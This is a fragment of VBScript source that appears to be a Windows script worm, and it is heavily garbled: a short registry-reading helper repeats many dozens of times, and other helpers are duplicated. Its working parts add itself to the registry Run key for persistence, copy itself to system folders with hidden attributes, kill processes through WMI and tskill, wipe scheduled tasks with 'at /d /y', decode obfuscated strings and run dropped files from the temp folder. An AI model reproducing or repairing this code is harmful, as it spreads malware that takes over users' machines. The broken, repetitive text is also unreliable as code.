    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
    dim d:j="\":on error resume next
    for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
    dim d:j="\":on error resume next
    for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
    dim d:j="\":on error resume next
    for each d in dc
    if mir=d&j then ws.run "explorer "&d,3,false
    next
    ouc=rt(ouw,-1):if cf(ouw) then msgbox("holle,raider!"):km 1
    if sys then
    if rr(rsp&"explorer",0)<>"0" then wr rsp&"explorer",-1
    hi 1
    if rr("til",1)<>til then
    wr "til",til
    wr "tjs",1
    wr "djs",date
    wr "ded",0
    end if
    if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
    if rr(rsp&rsn,0)=ve then rs -1
    le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
    km 0
    cu:er 1
    wscript.sleep 1000
    if rr("ded",1)<>cstr(date) then ws.run ouw
    else
    wscript.sleep 5000
    if pr("wscript.exe",2)=2 then
    if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
    end if
    if pr("wscript.exe",2)=1 then wscript.quit
    ar ouw,7:co dir&ve:co win&ve:rs 1:ws.run dir&ve
    end if
    dim d:j="\":on error resume next
    if li<0 then wh=ouw
    if ei(wh,1) then
    if fso.getfile(wh).size=0 then
    rt=0
    else
    set r=fso.opentextfile(wh,1)
    set cl=fso.opentextfile(wh,1)
    cl.readall
    tli=cl.line
    cl.close
    if li>0 and li<=tli then
    i=0
    do while i<li
    i=i+1
    if not r.atendofstream then
    sli=r.readline
    else
    sli=0
    end if
    loop
    rt=sli
    elseif li<=0 then
    rt=r.readall
    else
    rt=0
    end if
    r.close
    end if
    else
    rt=0
    end if
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if rt(wh,1)<>"'"&ver then cf=true
    dim d:j="\":on error resume next
    if li<0 then wh=ouw
    if ei(wh,1) then
    if fso.getfile(wh).size=0 then
    rt=0
    else
    set r=fso.opentextfile(wh,1)
    set cl=fso.opentextfile(wh,1)
    cl.readall
    tli=cl.line
    cl.close
    if li>0 and li<=tli then
    i=0
    do while i<li
    i=i+1
    if not r.atendofstream then
    sli=r.readline
    else
    sli=0
    end if
    loop
    rt=sli
    elseif li<=0 then
    rt=r.readall
    else
    rt=0
    end if
    r.close
    end if
    else
    rt=0
    end if
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    set pl=wmi.execquery("select * from win32_process where name='"&pcs&"'"):i=1
    for each p in pl:i=i+1
    if i>abs(gs) then pr=1
    if gs<0 then if p.terminate=2 and pr=1 then ws.run cm&"tskill "&left(p.name,len(p.name)-4),0,false
    next
    if er(0) then pr=2
    dim d:j="\":on error resume next
    set pl=wmi.execquery("select * from win32_process where name='"&pcs&"'"):i=1
    for each p in pl:i=i+1
    if i>abs(gs) then pr=1
    if gs<0 then if p.terminate=2 and pr=1 then ws.run cm&"tskill "&left(p.name,len(p.name)-4),0,false
    next
    if er(0) then pr=2
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    df wh:set vbs=fso.createtextfile(wh,true):vbs.write ouc:vbs.close:ar wh,7
    dim d:j="\":on error resume next
    ar wh,0
    if ei(wh,1) then fso.deletefile(wh)
    if ei(wh,2) then fso.deletefolder(wh)
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    df wh:set vbs=fso.createtextfile(wh,true):vbs.write ouc:vbs.close:ar wh,7
    dim d:j="\":on error resume next
    ar wh,0
    if ei(wh,1) then fso.deletefile(wh)
    if ei(wh,2) then fso.deletefolder(wh)
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if sw=1 and rr(rsp&rsn,0)<>ve then
    ws.regwrite rsp&rsn,ve,"REG_SZ"
    if er(0) and not ei(fsp,1) then bf fsp,wsr&" """&ve&"""",0
    elseif sw=-1 then:df fsp
    elseif sw=0 then:df fsp:wr rsp&rsn,-1:wr rpa,-1
    end if
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
